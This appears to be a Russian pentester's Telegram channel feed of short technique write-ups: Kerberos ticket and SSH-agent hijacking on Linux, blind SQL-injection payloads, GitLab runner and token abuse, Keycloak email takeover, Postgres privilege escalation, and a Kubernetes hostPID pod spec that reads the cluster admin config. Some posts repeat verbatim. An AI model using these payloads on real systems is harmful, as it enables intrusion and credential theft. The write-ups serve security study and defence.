Любой пентестер начиная с джуна знает что с Windows машин можно утащить сохраненные креды аутентифицированных пользователей из SAM/LSA secrets/памяти процесса LSASS.
Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.
1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.
Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.
TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.
Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂
2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.
Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.
Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.
И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.
Например зайти по ssh от чужого имени:
Работает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.
1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.
Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.
TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.
Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂
2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.
Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.
Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.
И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.
Например зайти по ssh от чужого имени:
SSH_AUTH_SOCK=/tmp/ssh-AK33gp6fCF/agent.123456 ssh <user>@target_host.local
Работает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
🔥10👍2🤔2
Вектор Conditional error boolean blind SQL-injection
При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.
В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.
Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.
Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет.
В Oracle нужно слегка модифицировать:
(не думаю что это новая тема, но я нигде не встречал)
При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.
В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.
Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.
SELECT * FROM users where x='$input'
input=' and 1=(select 1 union select 2 where 1=1) --
Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет.
В Oracle нужно слегка модифицировать:
input=' and 1=(select 1 FROM dual union select 2 from dual where 1=0) --
(не думаю что это новая тема, но я нигде не встречал)
portswigger.net
SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
👍6🔥6
Мои коллеги и друзья пилят публичные коллективные собеседования по внутреннему пентесту. Формат очень интересный, залезают в самый глубокие тонкости и самые сложные вопросы Windows сетей и атак на них. Если интересна тема - обязательно залетайте. Если не можете онлайн, рекомендую прослушать записи прошлых собесов, доступных на подкастах Яндекса.
Forwarded from RedTeam brazzers
Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша четвертая по счету и заключительная встреча в этом формате с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов на темы:
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
🔥6
Вот слайды моего рассказа на конференции БЕКОН.
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
👍5
Forwarded from k8s (in)security (Дмитрий Евдокимов)
06_OPA_с_shared_Docker_executor,_Павел_Сорокин,_OZON.pdf
12.4 MB
"OPA с shared Docker executor", Павел Сорокин, OZON
🔥10
Опубликовано мое выступление с конфы БЕКОН.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
YouTube
OPA с shared Docker executor - Павел Сорокин | конференция БеКон
🔹“OPA с shared Docker executor” Павел Сорокин, OZON🔹
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
🔥10👍3
Буду вести воркшоп на offzone по атакам на CI/CD
Telegram
OFFZONE
🧐 Нам нужно больше воркшопов — «Ломаем CI/CD»
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
🔥22👍3
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
👍19🔥5
По умолчанию в Keycloak пользователям по адресу
В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
https://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте). В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
[email protected].Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
👍8🔥4😱3
Postgres Privilege Escalation
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
system("cat file"), при этом не сбрасывая переменную PATH.CYBERTEC PostgreSQL | Services & Support
Abusing SECURITY DEFINER functions in PostgreSQL
UPDATED Aug. 2023: How SECURITY DEFINER PostgreSQL functions can be abused for privilege escalation attacks and how you can protect yorself.
👍6
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов/proc/PID/root/var/run/secrets/ kubernetes.io/serviceaccount/token
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
🔥8👍1
hostPID: true и --pid=host. Часть 2
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope ) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов.
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Telegram
Нарыл
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
🔥6👍1
hostPID: true и --pid=host. Часть 3
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
# suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
ptrace (trace,read,tracedby,readby) peer={{.Name}},
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
--security-opt=apparmor:unconfined. В kubernetes нужно добавить аннотацию к поду container.apparmor.security.beta.kubernetes.io/<container_name>: unconfined AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
🔥5👍3
hostPID: true и --pid=host. Часть 4
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можемзапупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можем
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
👍2
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
🔥5👍4
Gitlab Access Tokens
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
curl https://gitlab.example.com/api/v4/users/<user_id>
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
(project|group)_<(project|group)_id>_bot_<random_bytes>В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab
Account and limit settings | GitLab Docs
Configure the maximum number of projects users can create on GitLab Self-Managed. Configure size limits for attachments, pushes, and repository size.
🔥9❤1👍1
Kyverno resourseFilters
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
🔥11👍1
Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.
